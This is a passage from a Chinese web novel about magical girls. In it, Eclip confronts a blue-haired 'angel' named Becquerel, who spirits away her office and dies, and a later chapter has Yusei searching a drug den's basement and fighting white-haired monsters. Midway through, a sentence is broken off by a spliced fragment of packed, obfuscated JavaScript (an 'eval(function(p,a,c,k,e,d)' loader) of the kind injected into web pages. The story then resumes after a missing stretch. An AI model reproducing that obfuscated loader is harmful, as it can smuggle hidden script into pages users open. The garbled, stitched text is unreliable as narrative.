虽然那些魔法少女本来是人类,但在成为魔法少女,或者说作为拥有觉醒魔法少女资质的预备役诞生之后,她们的存在注定是与常人不同的,这不仅仅表现在能使用魔力这一点上。 魔法少女会像她一样,将自己的灵魂穿在身上,再多的装饰品都无法掩盖她们真正的自我,那是美丽的存在,是她能够认同并发自真心喜爱的存在。 于是在结交了她们之后艾克里普便带上了眼镜,既然对“探索人类关系”这一行为已经进行了尝试并取得了结果,那意义便已经被证明了,她尽力了,不再需要更多的尝试。 但是,那之后呢?艾克里普看着眼前的黑灰,心里想着未来的事情。 我们真的可以就这样一直幸福快乐地生活下去吗?我们可以一直手拉手在这座城市中作为魔法少女与魔物战斗,业余时间聚在一起作为一个乐队的成员一同歌唱吗? 为何羽生会有与母亲谈话的勇气呢?为何未央能那样自然地牵起她的姐姐的手呢?为何晓能那样坦然地讲述自己的过去呢?艾克里普夸赞,鼓励,怜悯,却不理解。 或者说她根本就无法理解吧。艾克里普没有任何亲缘,过去也从未发生过任何值得讨论的大事,她从不在重大的人生分叉点上进行发自自己想法的选择,她常常只是停下开始做梦,或者说思考,梦醒了一切就都结束了。所以她无法被类似的困境困住,也不会因此而成长。 人类与艾克里普隔的太远了,只是奇迹让她获得了魔法少女朋友而已。 艾克里普忽然看见了,或者说梦见了一个画面,她有时会忽然在梦境中穿插部分不知名的画面,这大概是阿尔卡纳国王给她留下的部分关于这个世界的记忆。 画面中,艾克里普作为第一视角的视线很高,但她并非是站在很高的楼上或者飞了起来,而是她本身就是一个十米多高的巨人,她低下头,视线捕捉到上千个密密麻麻的小点,那是人类,人类跪倒在地说着什么东西,她不太听得懂。 “…好吵。”艾克里普心想。 下一刻,视线中的所有人类都停止发出声音,或者说停止了任何动作,部分身体颤抖得厉害,部分已经晕过去了。 这是什么远古时期的画面吗?艾克里普怀疑道,那些人类穿的衣服过于简陋,比起衣服更像是拿自然产物遮住了部分皮肤而已。 为何那些人类那样害怕呢?艾克里普怀疑道,难道她在这个画面中担任的是某种掌管生杀大权的角色吗?可她并没有这样做的打算,也并不会这样做才对。 不会吗?艾克里普忽然回过神来,黑灰逐渐散去了,惊恐的工人在入口附近徘徊尖叫,有人似乎在拍照或者打电话,总之一片混乱,或许警察很快就要来了吧。 看着那些人,艾克里普感到有些失落,那些人不会知道自己为何才摧毁了这里吧,不会知道她经历了什么样的心理斗争,只看到了结果。不,连结果都不完全,因为她马上就要离开了,现场不会留下任何她的痕迹。 一直这样想下去也不会有个答案的,再这样下去无论是谁都会产生厌烦吧? 没错,该走了,艾克里普不再思考关于人类的东西,准备离开这里,她不再去看人群,转移到了夜藤事务所内。 通常而言夜藤事务所关门时外不会有人徘徊或停驻,但偶尔也是会有过路人的,艾克里普不会特别在意这些行人,但当她准备开始写作业时,她注意到门外的人已经在那里站了很久了。 是邮差吗?艾克里普心想,不免回忆起之前遇到的那几封邮件,她停下了手里的动作,准备去和对方再次说明一下不用再给她寄这些信件了。 不过邮差也没有办法决定这些吧,艾克里普叹了口气,准备找个时间把这件事解决了。 夜藤事务所一楼门前台阶下,有些年久失修的水泥地上站着个穿着正式的青年,她身着黑色西装马甲和罩裙,手里拎着一个黑色公文包,一只腿撑着重心。她的发色是让艾克里普有些在意的蓝,结合因不知名原因她无法迅速探查到天使的魔力气息,她心里保持了一定程度上的警惕靠近了那人。 那人的头发束在脑后,察觉到艾克里普出现后她惊喜地抬起头来,蓬松的发丝显得她的面孔格外年轻,她从口袋里掏出一副眼镜带上遮住了她的双眼。 “您可算是出来了,这位小姐!”那人一边说着一边从公文包里掏出一个文件夹,夹子上夹着几张纸,以及一只连着弹簧线的圆珠笔,“您就是这处建筑的所有权拥有者吧,我是市区街道建筑管理登记的,能麻烦问您几个问题吗?” “您说吧。”艾克里普回答道,心想这番话说的没什么问题。 “好的麻烦您了,”那人拿起笔问道,“您是住在这里的二楼吗?” “这里是商用建筑,二楼是我的私人工作室。”艾克里普迅速回答。 “那就没问题了,我们已经很久没收到您的动物登记表和卫生管理登记了,是出了什么问题吗?”那人状似关心地问。 “…夜藤事务所已经很多年不开展宠物饲养和贩卖业务了,现在只有植物。”艾克里普回答。 “那就是很多年没有登记过了。”那人低头记录。 “因为不需要,我不是说了吗?”艾克里普皱眉道。 “哎呀,这个我就不清楚了,下一个问题。”那人笑着抬头,“您的事务所经过一次翻修吧?” “…是的,简单的管道和墙面翻新。”艾克里普回答,她有些反感回答这些问题。 “哎呀,我们这里一直没有收到您翻修后的卫生和消防安全检查报告。”那人表情苦恼,但艾克里普知道她根本就没有任何情绪波动。 “这些我每年定期上交的,我保存了记录。”艾克里普说,偏过头不去看她的脸。 “有这回事吗?一定是记录员老糊涂了,我回去问问。”那人一点不见不好意思。 “…还有什么事吗?”艾克里普皱眉问。 “实际上有人举报您的事务所有在售卖特殊药物,我们没有在农林备案记录里看到您的记录呢。”那人说。 “没有这回事,我每年纳税申报内容就是我的营业内容。”艾克里普迅速回应。 “或许您漏了些什么呢?”那人笑着提醒说。 “什么?”艾克里普问。 “例如,特殊卫生清洁费,什么的?”那人笑着说,“有些费用还是得交一下的吧,大家都很辛苦的啦。” 没有这个费用存在,艾克里普现在可以确定这个人是来找麻烦的,哪怕她真的是某处机构的官方人员也不排除这个可能性。 不需要回答这个问题,之后的问题也不需要回答,艾克里普已经不想继续和这个人继续谈话了。 “没有这个必要,您还有其它事要问吗。”艾克里普问。 “…这样啊。”那人停下了手里的记录动作,转头看向艾克里普,“这样的话您的事务所可能会被查封,这样也没关系吗?” 艾克里普心里忽然一跳,但她很快反应过来这对她而言算不上是威胁,在她不允许的情况下没人能进得去这栋事务所,也做不到强拆,只是这种情况也可能会导致一些不太好的情况发生,例如大量相关人员会围绕这栋建筑进行调查。 只要在那之前把里面的东西都转移走就没关系了,艾克里普心想,不对,只要在那之前把这件事的诱发者解决了就好了,毕竟她什么错误都没有。 “我没有做错任何事。”艾克里普说,“请问您是哪个部门的员工呢?稍后我一定会上门拜访的。关于这里的一切都会在那时被解决,您不需要担心。” “哦对了,我都没有自我介绍过来着,真是失礼了。”那人夸张地用笔砸了脑袋,摘下眼镜,两只瞳孔里分别有自己的色彩,不,每只瞳孔里分别有两种色彩,右眼为上红下黄,左眼为上蓝下绿,这显然不是常人该有的眼睛。 等等,这不是,艾克里普迅速反应过来这个配色的含义。 “我的名字是贝克勒尔,这双眼睛能让您记住我吗?”自称贝克勒尔的人刻意展示自己的瞳孔,“是Uno牌的四种花色哦,这可是很贵的,大人也夸过我呢。” “你是天使的一员吧。”艾克里普肯定地问。 谈话停下了一瞬,道路的尽头是偶尔会有行人路过的街道。 “您很冷静呢,这倒是为我省下了部分体力。”贝克勒尔直爽地点了点头,“我正是以亚贝琉为姓氏的魔法使用者,湛大人的追随者,亚贝琉贝克勒尔。” 这样说着,她却没有攻击的意图,就像是真的只是在自我介绍而已。 艾克里普的心情有些复杂,自从知道这些天使曾经都是身患残疾的孤儿,并作为实验品被人为加上了能使用魔法的器官后,她就难以真的将其视作为自己的敌人。 做实验的人和幕后控制的人毫无疑问是有罪的,但这些天使呢?艾克里普即无法将其视作为魔法少女,因为她们的灵魂依旧是人类的模样。但也无法将她们看作是同类吧,毕竟天使的所作所为都透露出她们并没有将人类视为同类。 不对,真的是这样吗?艾克里普忍不住反思了起来,她从未真的与一位天使面对面谈话过,或许她们和她想象的不一样,只是被控制了呢? “…你这样与我谈话也是任务的一部分吗?”艾克里普问道。 “当然,您难道不对我们感到好奇吗?”贝克勒尔歪了歪头。 “我以前从未这样观察过你们,为何我探查不到你们的魔力气息呢?明明你们也能使用魔法吧。”艾克里普问道,毕竟最坏的结果也不过是不被回答而已。 “这个问题很奇怪呢。”贝克勒尔表情有些苦恼,“什么叫探查不到呢,我们又不是非得每时每刻都使用魔力吧。” “不,只要你们体内存有魔力,我就能感知到才对。”艾克里普问道。 “哦,这个啊!”贝克勒尔反应了过来,“那是为了防止魔力流失,我们非必要不会使用魔力,这也是我们穿这身丑制服的原因。您很难理解吧?” 确实很难理解的艾克里普恍然大悟,原来除了魔法少女以外的有意识魔法使用者个体存在会对于日常流失的魔力刻意控制,常人的魔力储备上限和输出力极低,所以才需要通过人体实验强行增大,而日常关闭魔力的输出则是正常的做法。 无论是刻意还是不得不如此,这样的行为都阻止了艾克里普发现她们的存在。 但魔法少女以及魔物,以及艾克里普,甚至魔法道具,都是无法关闭魔力输出的,因为这对于她们来说算是身体组织的一部分,但对天使来说却算是义肢。 看着明显陷入自己思绪的艾克里普,贝克勒尔只是微笑着。 “很难理解吧?”她问。 “…我当然不会理解你们,”艾克里普理所当然地说,“你们做这些事是为了什么呢?” “做什么?”贝克勒尔问。 “一切,包括之前对我们做的一切,以及来找我。”艾克里普问道,但她很快就意识到这个问题是无意义的,天使大概只是被派遣的工具,不会知道具体原因。 “为什么?”贝克勒尔奇怪地问,“为什么需要理由?完成任务不需要理由吧,而且这双眼睛很好看吧?这可是很贵的。” “这是你完成任务后得到的?”艾克里普问。 “对,很厉害吧?”贝克勒尔炫耀般地眨了眨眼,“或许就是因为这双眼睛我才从大人那里得到这个任务的吧?开玩笑的啦。” 这样看来天使内部还有一套完整的奖励制度,艾克里普想,那些人在将实验品洗脑的同时也给了她们内部竞争和奖品激励。 这样下去这个组织的影响力会越来越大吧,艾克里普在想如何处置这些天使。幕后的人肯定要消灭,但这些受害者呢?有能力并且忠诚的实验品,若是不好好处理就会威胁到社会安全。 “您算是独立个体,肯定不了解我们内部啦,不过这不重要。”贝克勒尔摆了摆手,“您的双眼也足够美丽哦?” “那是自然,”艾克里普说着,并不喜欢自己与对方被放在一起比较,“但与你们不同。” “…您是在炫耀吗?”贝克勒尔表情有些奇怪,“天生有一对好眼球就这样值得炫耀吗?还是说您的审美就是如此呢?” 艾克里普看着贝克勒尔,觉得她可怜,觉得天使可怜。作为实验体被人为洗脑后,这些人的观念也随之发生了改变,但说到底都被困在一个牢笼里,艾克里普不理解贝克勒尔为了获得一对后天的眼珠而努力奋斗。 当然,她也不认为自己需要理解这样的存在。 “不,没什么。”艾克里普叹了口气,“你的任务是什么?与我战斗吗?” 贝克勒尔沉默了一会,似乎是对艾克里普转变话题而不满。 “不,”她笑着说,“怎么会呢,您很强大。” 这是自然的,艾克里普心想只要见过她处理实验室的痕迹就不会想与她正面战斗吧。 “是这些啦,我就是专门负责这一类问题的。”贝克勒尔晃了晃手里的文件板,“不过平常也不会这样聊起来,与您聊天很不愉快呢。” 艾克里普不会接受这样的说法,按照实验室那样不浪费资源的做法,天使怎么会只被派来解决这种事情? “…好啦,我的任务确实还没有完成,不过也差不多了,只剩最后一步了。”贝克勒尔看着艾克里普笑了,她转头看向了夜藤事务所,“虽然可能是我眼拙,但这里难道是您亲手翻新的吗?还有地下室呢。” “是的,所以不要想着摧毁它了。”艾克里普说。 “真是美丽。”贝克勒尔赞叹道,随后她笑了,她一直在笑,但现在她的笑容大得夸张。 有漆黑的线从她腹部探出头,无数的线组成了一只只手,像是刨腹而出的无数蜘蛛脚一般向外探着,伴随着魔力涌现,艾克里普明白这是贝克勒尔使用了某种魔法。 艾克里普谨慎地准备好应对任何可能到来的攻击,但她看着那手越来越多,将贝克勒尔的腹部越撑越大,直到远大于她本来那具青年的身体该有的大小,她除了腹部以外的所有躯体都被阴影遮盖了,那手以腹部为圆心向四周探,足足四十九只黑色手臂形成了巨大的圆形阴影,笼罩了几乎整个夜藤事务所前的区域。 一切发生的太快了,艾克里普赶忙朝四周增设防御魔法,防止贝克勒尔破坏周围的一切,那手形成的圆如花朵般在半空摇曳了一瞬,随即如张大网般朝夜藤事务所扑去,覆盖住其表面,本来外表略微老旧的独栋小楼被黑色笼罩。 这黑色的线构造而成的实体带有腐蚀性,只是略微擦过地面就留下了一道道痕迹,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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现在艾克里普有足够的理由去杀死贝克勒尔了,不仅仅是因为她是天使的一员,也因为她的所作所为让夜藤事务所失踪了。 “我的任务就是如此,您要杀了我也可以,我没力气反抗了,也不会呼唤别人来救我,毕竟您实在是太强了嘛。”贝克勒尔就这样倒在地上说话,看上去没什么差错,但腹腔内部恐怕就不是那么好看了。 “所以说为什么?”艾克里普感到急躁,“你知道这个任务会让你死去,为什么还来?” 艾克里普不知道自己为何如此急躁,她要做的事情很简单明了,甚至可以什么都不做就放任这人死去,或者说趁现在问一些问题,不过她大概不会回答吧。 但是这都不足以令她陷入急躁的情绪,她想要思考,但时间来不及。 “…因为我的眼睛很好看吧。”贝克勒尔看向艾克里普,“您一定无法理解吧,大家也没办法理解大人,但是我可以,而且我的眼睛很好看,所以我来了。” 毫无逻辑,毫无道理,艾克里普想听的不是这样的理由。人类该惧怕死亡的,惧怕死亡时的人类会毫不犹豫地展示真实的自我,天使是人类,理应同样如此。 “明明你也是人,你为什么…”艾克里普愣住了,为什么,什么?为什么来送死,为什么不表现出害怕? 若是这人因她的强大表现出了惧怕,从而逃跑,那夜藤事务所就不会出事,她也不会死去。艾克里普从不认为恐惧是缺陷,恐惧是人类生存率提高的必需品,是必要的。 勇气是珍贵的资质,艾克里普欣赏勇敢的人,但贝克勒尔表现出的并不是勇气,却也没有恐惧,哪怕是在面临死亡的时候她依旧没有产生丝毫的恐惧。 “…我们经过洗礼,告别肉胎,是亚贝琉血脉的继承者,是践行者,不是人类那种随便怎么样都好的存在。”贝克勒尔声音虚荣,但却依然以那样弱小的姿态愤怒着。 “你们就是人类,”艾克里普反驳,“如此弱小,受伤就会死去,生命短暂,习惯性隐藏自我,你们是人类,与我们不同,与我不同的。” “…是啊,您如此强大。”贝克勒尔虚弱地笑了,“那您为何没有保护我呢?” 艾克里普愣住了。 贝克勒尔没有再说话,她带着满怀恶意的笑容闭上了眼,不去看天空也不去看艾克里普,等待死亡的降临。 过了一会,或许是过了很久,贝克勒尔死去了,她的身体没有像魔物一样消散,这是自然的,毕竟她归根结底,还是一个人类。 站在贝克勒尔尸体旁一米处的艾克里普一直看着她,看着她从一个可怜的实验体,一个罪恶满盈的被利用者,一个身不由己的人,逐渐成为了一具尸体。 人可以有很多种身份,根据看向单独个体的个体的身份,人的身份有可以有各种更多的解释,这种观察是相对的,但艾克里普可以看到绝对的人的根性。她可以带着决断的语气去判定一个人是否值得同情,但通常她依旧会根据某些决定性的证据去行动,而不是一个人的根性。 但是尸体就是尸体,人的尸体是尸体,动物的尸体也是尸体,她们从一个个可怜的需要她保护的存在,变成了一具具尸体。艾克里普看不见尸体的一切,在她得到的信息里,那具地上的尸体在逐渐失去温度,自从她失去的一瞬间,她就与周围的一切没什么不同了。 如草木,如碎石,有人看着尸体悼念活者,艾克里普看着尸体只是为了不让她的形象就这样迅速地消融,与地面融为一体,最后化为一句无谓的叹息。 艾克里普从未如此长久地凝视一具尸体,她不需要保护尸体,尸体对她而言没有意义。但是贝克勒尔说的话让她无法介怀,让她不得不一直凝视着这具尸体,去反复思考尸体生前是个什么样的人,说的话到底有什么含义。 要是她活着的话就可以问她,但既然她死了,那就只能揣测尸体,遗憾的是这些揣测永远不会有谁来证实了,就像个不负责任的作者一样留下了没有来得及用上的伏笔。 伏笔变成漏洞,变成缺陷,那遗言就变成答不上来的质问,变成无法痊愈的伤疤。艾克里普正在趁尸体还没走多久尽快修复这些伤疤,就好像她的尸体没有腐烂就还算是这个人还能回答些什么一样。 没有用的,艾克里普心里知道,她就是死了,贝克勒尔就是已经不在了,她完成了任务就离开了,最后说的那些什么并不包含在任务范畴内,她不需要解释的。 她死前说的话到底是出于什么想法,为了什么而说的呢? 既然尸体本人已经不会解答了,那不如我们去问问她的过去吧,大多数人的所作所为都能用曾经的一切去解释,贝克勒尔是人类,那么也同理。 那么第一件事,贝克勒尔的童年如何呢? 非常简单,她是身患残疾的被抛弃的孩子,就像天使里的每一个存在一样,她们的童年都不幸福。 但不幸福的方式各有不同吧?并不如此,不如说天使们实际上不会被自己的童年影响多少,她,以及她们在接受洗脑之后并不会留下多少曾经的记忆,而就贝克勒尔而言,她似乎也不太在意自己的曾经。 那她周围的人呢?她的周围都是她的同类吧,就她的态度来看,天使大多不愿意将自己与人类混之一谈,而天使内部是竞争关系,人数不算多。 而且在洗脑的作用下,她会不惜牺牲自己的性命完成任务,她甚至毫不犹豫,是因为洗脑的作用盖过了对死亡的恐惧吗?天使因为注射生长激素,本质年龄并不大,同时还要专精战斗和魔法技能,理应没有太多的时间去思考哲学道理。 所以贝克勒尔是因为洗脑的作用不畏惧死亡,但这样的她失去之前心里想的并不是自己效忠的对象,也不是什么声明,反而只是留下了那么一句意义不明的话就离开了。她不想念谁吗?她不对什么还留有遗憾吗? 艾克里普心里忍不住想,这又和她有什么关系呢,她为何要思考地上这具尸体还活着的时候的过去,以揣测那最后一句话的含义呢? 为何没有保护她?笑话,她为什么会保护天使,一个带走了她的事务所的存在? 为何她还站在原地凝视那具尸体,快去处理事务所的问题吧,解决了一切之后肯定能找回事务所的,没错,解决了一切之后。 在那之后,她的疑问就会得到解决吗?解决了一切的奖励会是真相大白吗? 但是这样的进展是正确的,是好的,不是吗?我们只需要无视掉这个问题,让这具尸体留在这里就好,我们去解决一切,去做你该做的事情,我没有必要思考这样的问题吧,你即使没有这样的答案也可以走下去的,她需要的只是正确性,只要有正确性,一切就会有意义,你我就不会产生分歧,你们就不会失败。 因为艾克里普是最强的魔法少女。 最强大的魔法少女什么事都能做到,艾克里普会守护这座城市,她会做对的事情,会打倒邪恶的存在。 … 时间好像过去了许久,长期的矗立会引人注目,好在这里并不是闹市。艾克里普看了看周围,抬手设置了虚拟幕布防止周围的人因此而产生混乱。 随后她低头,看到了那里躺着的一具尸体。 那是刚才在这里大肆使用魔力产生混乱后虚弱而死的“天使”中的一员,名字叫贝克勒尔,死前使用空间魔法将夜藤事务所转移到了不知去向的地方,幸好一时半会不会有什么能伤害到事务所的内部。 不过作业还在里面啊,艾克里普苦恼地叹了口气。 59.INMATE-005 有乐羽生从日之森周围出发,坐市内环线抵达东北处大学城车站,根据事先确认过的地图下车后还有近半个小时的步行路程才能抵达地图上标注的地址。 她随身携带的是自己的备用手机,出于对个人自由的追求,她并没有把有乐千奈交给她的那一个带在身上。 现在是正午时分,车站附近到处是出来吃午饭的人,既有学生也有附近公司的员工,人来人往,一点看不出这里有被之前西部市区的混乱影响到。 不仅是因为位置离得远,而且也因为大学城附近的95号公路并没有出现出入口封阻的情况,这里的大多数人即使从网络新闻了解到市区的情况,也不会产生多少感同身受的恐惧心理。 四处张望了一番之后,有乐羽生找到了一处共享电滑板停靠点,她眼睛一亮,快步走上前拿出手机租借了一辆,并无师自通地学会了怎么操控电动滑板。 大学城内的道路修的早,大部分都狭窄的可怜并且是单行道,即使是这样的情况下路边也被车停满了,在这里自行车或者电动滑板是更快速的交通方式。 一路上人们嘴里聊的事情大多与有乐羽生的目的地无关,似乎那件事被很好地压了下来,普通人并不清楚这附近居然还发生过人活生生变成怪物这样一件事。 原本要走上半小时的路马上被缩减到了十分钟不到,有乐羽生依依不舍地将电动滑板停好。 目的地所在的区域离大学教学楼群有一定距离,算是大学城边缘地带,若是从离那最近的车站出发,朝东过两个路口后再走过一栋公寓楼,在下一个大路口右转下坡,走两步并朝右看,就能在低矮树木的包围下看到一处停车场,停车场深处有个看上去没在投入使用的约两层的建筑,那就是被这里的吸毒者秘密使用的小型俱乐部了。 刚看到这栋建筑所处的位置有乐羽生就觉得有哪里不对,这栋建筑处于半坡上,周围被树木包围,坡的下方是高大的建筑群,按照这样来看,这栋建筑无论何时都不会有阳光照进室内。 但随着有乐羽生走近建筑本身,这样的担心变得多余了。 这栋建筑设计的初衷似乎是洋馆,西洋风的屋顶和窗槛依稀能看出刚建成时的精致,但现在墙面灰败,裂纹和爬山虎代替时间为其徒增皱纹,阳台坍塌了一半。 而且所有的窗户都被木板封死了,没有一丝阳光能透进去,也不向外界透露任何信息。 看木板的老化程度,有乐羽生虽然说不上确切的时间,但能确定是很久以前就封上的。 这是一栋令人毛骨悚然的老旧洋馆,除了必要大概不会有人想靠近吧。 有乐羽生感受脚下黏在鞋底的砂石,这里本来可能是花园,但现在沦为了荒废的停车场。心想有人能找到这么一个地方当作俱乐部用,这里的建筑和街道管理者还一直不知道,或者视而不见,大学城也没她想象中的那么安全。 洋馆的入口处大门大概原先是开放的,但现在被警察用路标和黄线封了起来,这些象征危险的标志更是为本就岌岌可危的安全可能性添上了一些风味。同时有乐羽生注意到,从没有被木板封住的大门内部隐隐散发出了魔力气息。 那就没什么好犹豫的了,有乐羽生打量了一下周围,迅速跳过封条进入了洋馆内。 从室外进入洋馆,有乐羽生过了一会才适应昏暗的环境,周遭的一切与外界相比起来居然整洁许多,没有垃圾,也没什么灰尘。 玄关往里走是通往未知方向的走廊,左侧是会客厅,面积不算大,也有个不知道有没有在用的烤火炉,有乐羽生摸了摸沙发,上面灰尘不多。会客厅再往左走是一处空旷的大厅,里面只有几张高圆桌,大概是用作宴会厅的地方。 会客厅的前方有扇小门,推开后里面是厨房,厨房左侧是开放式的储物室,里面没有东西,右侧的门打开通向走廊。 走廊尽头可以上楼到二楼,楼梯旁有个小房间,里面居然是书房配置,有桌椅和空旷的书柜,书柜贴着入口左侧的墙,有乐羽生奇怪这里的书房墙壁和楼梯墙壁是连着的。 二楼三楼后前方是一处空房间,大概是主卧房间,连着那塌了一半的阳台,这里的灰尘就多了许多,有乐羽生小心地控制自己悬浮不要留下脚印,走廊右边有个小客房,客房内虽然没有家具但有两扇门,其中一间是洗漱间,另一间打开居然是另一处长长的走廊。 走廊里漆黑一片,但墙壁上有些痕迹,有乐羽生比划了一下痕迹的形状,觉得这里可能是一处画廊,虽然很奇怪吧。画廊的尽头有一扇门,门打不开,但大概是紧急出口。 无论是一楼还是二楼都不像是秘密俱乐部的样子,果然是有隐藏的地下室吗?不过有乐羽生觉得这样才比较正常,她再次回头检查了一遍屋子。 最后她回到一楼的书房,尝试推开靠着墙壁的书柜,有一扇门出现了。 为什么大家都喜欢把隐藏门藏在书柜后面呢?有乐羽生这样想着沿着楼梯小心地下行。 进入地下室区域后魔力气息就明显了许多,随之而来的是浓厚的腐臭和血腥味,有乐羽生可以想象的那件事情发生后这里就不再有人使用了,而清扫者在处理了现场之后也没有再回来进行二次清洁,让这里的气味自行发酵。 地下室像个电影院和台球厅的结合体,可以想象以前这里经常有人光顾吧,魔力气息散布在各个区域,来源是天不渡家族贩卖的特殊材质毒品,或许也有吸毒者的血液。 她注意到地下室门关上后内部根本没有信号,那么视频大概是在现场人员不知道的情况下拍摄的,并在出事后有人进入处理时自动传出。而这里的员工会有自己的手段探查摄像头,所以视频拍摄的工具大概率是吸毒者之一自己带进来的。有乐羽生这样想着,使用魔力探查地下室空间内的信息。 很快,她推开角落里的沙发,从软包墙面缝隙中扣出一堆细碎杂物,并从其中一堆台球杆替换头中的一个上找到了一个不明显的孔,这其中藏着一个小型的蓝牙摄像头,现在已经停电了,但内置芯片还在。 有乐羽生将其放进袋子里塞进折叠空间,心想这样就算结束了。 说到底这里也就是一个发生过命案的老旧建筑而已,论恐怖根本不及之前去的鬼屋嘛,接下来就去找启明星侦探说的那位刑警谈谈街头动乱问题吧。 这样想着的有乐羽生,在转身时,忽然发现自己的身前多出了什么东西。 她低头,发现那个东西随着她的视线移动了,那是一个横向的游戏菜单栏。 一个横着的游戏菜单栏?!有乐羽生不可置信地揉了揉眼睛,那个黑白像素风格的菜单栏还在那,她身前半米处,大概一米宽半米高,长方形图案薄薄一片晃动在她身前,就像是全息游戏内会出现的辅助菜单栏,不过简陋很多。 菜单栏从左到右分别是人物,物品,技能,存档,读档。怎么看上去和真的一样,有乐羽生心里感到奇怪但又有些兴奋。 她确信自己是清醒的,那眼前的一切大概就是不明魔物的不明攻击。 实在不行就瞬移回家,这样想着的有乐羽生蠢蠢欲动地伸出手指点了一下人物。 人物:有乐羽生,年龄:15,身份:日之森高中一年级学生。 居然都对上了,有乐羽生不禁感到有些毛骨悚然,人物右侧的方框里是她的肖像,深蓝色毛衣和衬衫领口的金色扣子与她身上的一模一样。 抬头环顾四周,地下室依旧如之前看到的那样,忽然,她感觉自己脚下的地毯蠕动了一下,又一下,她小心翼翼地低头,视线一点点下降。 地毯上什么都没有。 难道是下面有老鼠吗?有乐羽生小心翼翼地退出地毯范围,踢开地毯的一角,大理石地面上什么都没有。 有乐羽生刚松一口气,被踢开的地毯背面的一角,有眼睛睁开,就像是白色画出了缝,其中漆黑的一点凝视着她。 这显然是不正常的,为什么,为什么一个高中生会遇到这种事?有乐羽生吓了一跳往旁边跑去,但本来被她调查过的地下室忽然就令她感到陌生,一时竟找不到离开的楼梯在哪里。 这样下去是不行了,有乐羽生强迫自己冷静了下来,很快她就不再因周围的环境感到恐慌了,同时她也察觉到了一些不对劲。 “…我为什么会来这里?”有乐羽生怀疑道。 作为一个高中生,她为何会一个人来到这个脏兮兮的地下室,身上什么都没有,甚至没有手机。这明显是不合理的吧?这样想着,她看向那显眼的菜单栏中的物品栏。 物品栏里有个手电筒,备注电量不多了。 心想这是什么古早恐怖小游戏展开吗?有乐羽生拿出了相当老旧的小手电筒,并没有使用,因为她不需要手电筒也能看清周围的东西。 随后她点开了技能栏,只有一个技能:劈砍。有乐羽生怀疑地看向了手里的手电筒,难道这其实是光剑吗?其次是存档和读档,就和游戏一样,效果可想而知。 要存个档吗?有乐羽生的脑内自然而然地浮现了这样的想法,但很快,她意识到这很可疑。她当然不需要存档也不可能读档,她可是在现实中,怎么可能会有这种看上去和魔法差不多的东西呢? 如果真的是游戏,退出键在哪里? 将手电筒也塞回道具栏后,有乐羽生开始探索周围。 地下室除了家庭电影院该有的设置与一个台球桌外,还有一些游乐道具,像是纸牌和骰子,以及游戏机。以及在角落里有个小冰箱,里面的东西闻起来很臭。 除了大空间以外,地下室还有一个洗漱间,门开着,里面同样没有灯光,有个单独的淋浴间。 有乐羽生尝试着翻动那些柜子,里面什么都没有,甚至没有卫生用品,最后她犹豫着看向洗手台上方的镜子。 “咔啦——”镜子中她的脸裂开了。 早就做好准备的有乐羽生反而觉得事情太如她所愿了有点无聊,她扒拉了一下玻璃,部分碎渣掉了下来,她盯着镜子看,反而发现了一些不对劲的东西。 镜子里的有乐羽生动作快一点。 这是一种极小的差错,类似于网络延迟,镜子中的有乐羽生抬起手的下一帧后有乐羽生的本身才真的抬起手,若是近视的人甚至会习以为常吧。 难道说,我的感官出现了一些延迟问题吗?有乐羽生这样怀疑着,看向了那极为可疑的菜单栏。 有乐羽生离开了洗漱间,门在她的身后自动关上,她回过头试了试,门锁上了。 若是正常游戏的话应该开始发放类似钥匙或者撬棍的道具了吧,有乐羽生环顾四周,发现这里到处都是道具,她取了一根趁手的台球杆,回头后发现投影仪被启动了。 在黑暗中尤为刺眼的荧幕上,投影着一台老旧的台式电视机,电视中的电视机中映出了一个苍白的背影,那人看身型可能只是青少年,看不出性别,但长长的白发哪怕隔着两层屏幕都无法遮掩其干枯的感觉。 那头发越来越长,一直从那电视机的中间延伸到屏幕边缘。 有乐羽生猜出了即将要发生什么了,这个是不是太经典了,有种背后操控者看了几部恐怖电影玩了几个恐怖游戏就急着炫耀自己恐怖爱好者的人设一样。 如她所愿,头发从台式电视机的边缘溢出,一直蔓延到电影荧幕边缘,随后再次溢出,来到了荧幕前,那头发越来越多越来越长,涌动着在地面上盘旋而起,最后化为人型,那个苍白干枯的身影出现在了荧幕前,在白光的照射下显得愈发锐利。 即使知道可能会这样,但有乐羽生还是紧张地握紧了手里的台球杆。 那白色矗立着的身影忽然倒地,白发散开,又各自聚集为脚,拖着那本体忽然就朝有乐羽生快速冲刺,犹如一只巨大的蜘蛛,但那白发之中露出了一点白光,那是金属利器。 突如其来的袭击让有乐羽生陷入了一瞬间的慌乱,她尝试挥舞手里的台球杆,破空声展示了她力度不小,但对方非常随意地就避开了那些毫无章法的挥舞。 居然跟不上?有乐羽生不知自己为何忽然感到了挫败,忽然想起自己技能栏里还有个看上去是攻击技能的东西,这游戏菜单如此简陋居然不是回合制的也就算了,技能到底要怎么用? 劈砍,只要劈砍就行了吗?有乐羽生尝试握住手里的台球杆进行劈砍,但效果甚微。棍状体本来就不适合劈砍,更别提有乐羽生慌乱之下无法瞄准目标,只能尽力快速地连续劈砍。 或许是她的动作实在是太快了,那随机的攻击之下居然真的砍中了对方一击,那白色大蜘蛛倒飞出去,迅速地上下分为两半,刚才竟然是两个背朝背黏在一起的,此时二者分开从两个方向朝有乐羽生袭来。 分开之后那人的身型就显露了出来,有乐羽生甚至能从那白发的间隙中看见对方的脸。 劈砍没有用,有乐羽生焦急地握紧了手里在连续挥舞下有些弯曲的台球杆,她意识到自己劈砍的命中率很低,对付两个目标显然是不可能的。 但是手感很熟悉,有乐羽生想,虽然不知道为什么高中生对挥舞台球杆的手感很熟悉,但她觉得自己应该能做到更多,至少应该能在这里避开攻击才对。 但是缺了些什么,但她无论如何都想不出来那是什么,就好像大脑被蒙住了一部分,一切都很不对劲。 那两个身影迅速朝有乐羽生袭来,勉强躲避之下,她的脖子前方依然留下了一条血线,对方是冲着自己的命来的,意识到这点的她高度紧张了起来。 一击未中,两个身影迅速开始准备下一次袭击的机会。 有乐羽生深呼吸了一次,她不明白自己缺少了什么,但若是她还是她本身,那她就可以相信自己。黑暗之中两个苍白身影尤其明显,但不去看,不去思考时大脑能感受到的东西反而更多了。 她忽然跳起,下一刻本该划到背上的刀锋落入了黑暗的空气中,有乐羽生在半空中轻巧地转体,如飞翔一般扬起手臂,那台球杆刺出,贯穿了她下方的那抹白色身影。 白影中的一个消散了。 